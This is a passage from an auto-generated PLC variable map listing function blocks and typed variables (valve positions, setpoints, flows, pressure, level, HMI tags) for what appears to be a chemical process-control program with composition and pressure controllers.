+91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +221;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +222;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +223;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +224;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +225;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +226;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +227;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +228;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +231;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +232;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +233;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +234;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +235;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; 